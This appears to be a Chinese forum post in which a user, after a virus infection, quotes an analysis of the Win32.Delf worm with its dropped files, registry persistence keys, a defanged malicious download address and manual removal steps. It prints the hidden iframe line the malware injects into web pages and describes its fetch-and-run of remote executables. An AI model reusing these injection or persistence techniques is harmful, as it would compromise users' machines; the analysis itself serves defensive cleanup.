被wesin这瓜货在我机子上上xxx网弄上了个病毒，又在挂卡不能重启，正在用很恶心的方法杀毒
Quote:
Win32.Delf蠕虫internat.exe 1.exe setup.exe解决方法
样本：setup.exe 大小：18432 字节MD5: c773bd861b2c32d88da59cc3f6c4a604
卡巴：Worm.Win32.Delf.bg NOD32:暂时不报
相关文章：蠕虫ati3evx.exe taskmgr.exe pif.exe解决方法
该病毒运行后生成：
C:\WINDOWS\system\internat.exe （每隔一段时间收集非系统分区下exe文件写入win.log）
每个盘下生成autorun.inf和setup.exe
并感染非系统分区下的EXE文件！（大小：30986字节,此次被感染的文件没有被改变图标，没有生成_desktop.ini文件）
尝试网络：h**p://222.220.16.203/ccc 下载：
1.exe,2.exe,3.exe,4.exe,5.exe,6.exe,7.exe,8.exe,9.exe,10.exe并运行，
生成：
C:\WINDOWS\896588M.BMP
C:\WINDOWS\c0nime.exe
C:\WINDOWS\cmdbcs.exe
C:\WINDOWS\mppds.exe
C:\WINDOWS\msccrt.exe
C:\WINDOWS\wsttrs.exe
C:\WINDOWS\wsvs.exe
C:\WINDOWS\system\1.exe （调用arp，命令arp -d）
C:\WINDOWS\system\taskmgr.exe
C:\WINDOWS\system\CMD.DLL （打开的网页加入代码
“<iframe src=h**p://a.d3a.us/1/ width=0 height=0 frameborder="0"></iframe>”
C:\WINDOWS\system\icedate.dat
C:\WINDOWS\system\IceHBO.dll （弹出广告：h**p://www.22595.com/sms.htm）
C:\WINDOWS\system\svchost.exe
C:\WINDOWS\system\WPC..DLL
C:\WINDOWS\system32\cmdbcs.dll
C:\WINDOWS\system32\Gjzos.dll
C:\WINDOWS\system32\mppds.dll
C:\WINDOWS\system32\msccrt.dll
C:\WINDOWS\system32\wsttrs.dll
C:\WINDOWS\system32\wsvs.dll
C:\Documents and Settings\“你的用户名”\Local Settings\Temp\upxdnd.dll
C:\Documents and Settings\“你的用户名”\Local Settings\Temp\upxdnd.exe
添加注册表项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"InternetEx"="C:\windows\system\1.exe"
"wsvs"="C:\windows\wsvs.exe"
"cmdbcs"="C:\windows\cmdbcs.exe"
"mppds"="C:\windows\mppds.exe"
"msccrt"="C:\windows\msccrt.exe"
"wsttrs"="C:\windows\wsttrs.exe"
"upxdnd"="C:\DOCUME~1\“你的用户名”\LOCALS~1\Temp\upxdnd.exe"
"Internet"="C:\windows\system\svchost.exe"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
"1u0r68vrj"="C:\windows\c0nime.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\Explorer\Run
"internet"="C:\windows\system\taskmgr.exe /scan"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Windows
"AppInit_DLLs"="896588M.BMP" （原 "AppInit_DLLs"="" ）
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID和HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
添加 {492B8F66-B8CF-4F7A-B0EE-B7383B92F5BA} 指向 C:\WINDOWS\system\IceHBO.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\Explorer\Browser Helper Objects\{492B8F66-B8CF-4F7A-B0EE-B7383B92F5BA}\
@=" "
手工查杀方法：
1.结束进程：
C:\WINDOWS\system\1.exe
C:\WINDOWS\system\svchost.exe
C:\WINDOWS\system\taskmgr.exe
C:\WINDOWS\c0nime.exe
C:\WINDOWS\system32\cmd.exe （setup.exe想删除自身却无法删除，就一直循环！靠）
如还有其它相关病毒程序一并结束！taskmgr.exe如无法结束请用冰刃！
2.打开金山反间蝶－文件粉碎器－添加文件，找到以上文件，再点彻底删除OK！
3.删除添加修改的注册表项和键值！
4.升级反病毒软件，进行全盘查杀，尝试修复被感染的exe文件 （个人建议用卡巴斯基）
